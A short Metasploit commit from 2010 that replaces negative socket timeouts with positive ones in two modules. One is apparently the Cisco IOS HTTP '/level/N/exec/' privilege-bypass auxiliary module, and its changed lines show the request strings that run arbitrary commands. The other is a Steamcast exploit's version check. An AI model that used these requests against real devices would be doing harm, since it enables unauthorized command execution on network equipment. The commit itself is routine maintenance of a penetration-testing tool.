Fix negative timeouts

git-svn-id: file:///home/svn/framework3/trunk@9048 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
HD Moore 2010-04-11 13:26:50 +00:00
parent a3e92b2e75
commit ee4528ed86
2 changed files with 17 additions and 16 deletions

View File

@ -56,7 +56,7 @@ class Metasploit3 < Msf::Auxiliary
sploit = "GET /level/" + level.to_s + "/exec/show%20privilege HTTP/1.0\r\n\r\n"
sock.put(sploit)
result = sock.get(-1,-3)
result = sock.get(-1, 3)
disconnect
if (result =~ /Current privilege level is/)
@ -69,7 +69,7 @@ class Metasploit3 < Msf::Auxiliary
sploit = "GET /level/" + level.to_s + "/exec/" + xCMD + " HTTP/1.0\r\n\r\n"
sock.put(sploit)
result = sock.get(-1,-3)
result = sock.get(-1, 3)
print_status(result.to_s)
disconnect
@ -136,3 +136,4 @@ Example Exploit:
[snip]
=end

View File

@ -67,7 +67,7 @@ class Metasploit3 < Msf::Exploit::Remote
def check
connect
sock.put("GET / HTTP/1.0\r\n\r\n")
res = sock.get(3, -1)
res = sock.get(-1, 3)
disconnect
if (res =~ /Steamcast\/0.9.75/)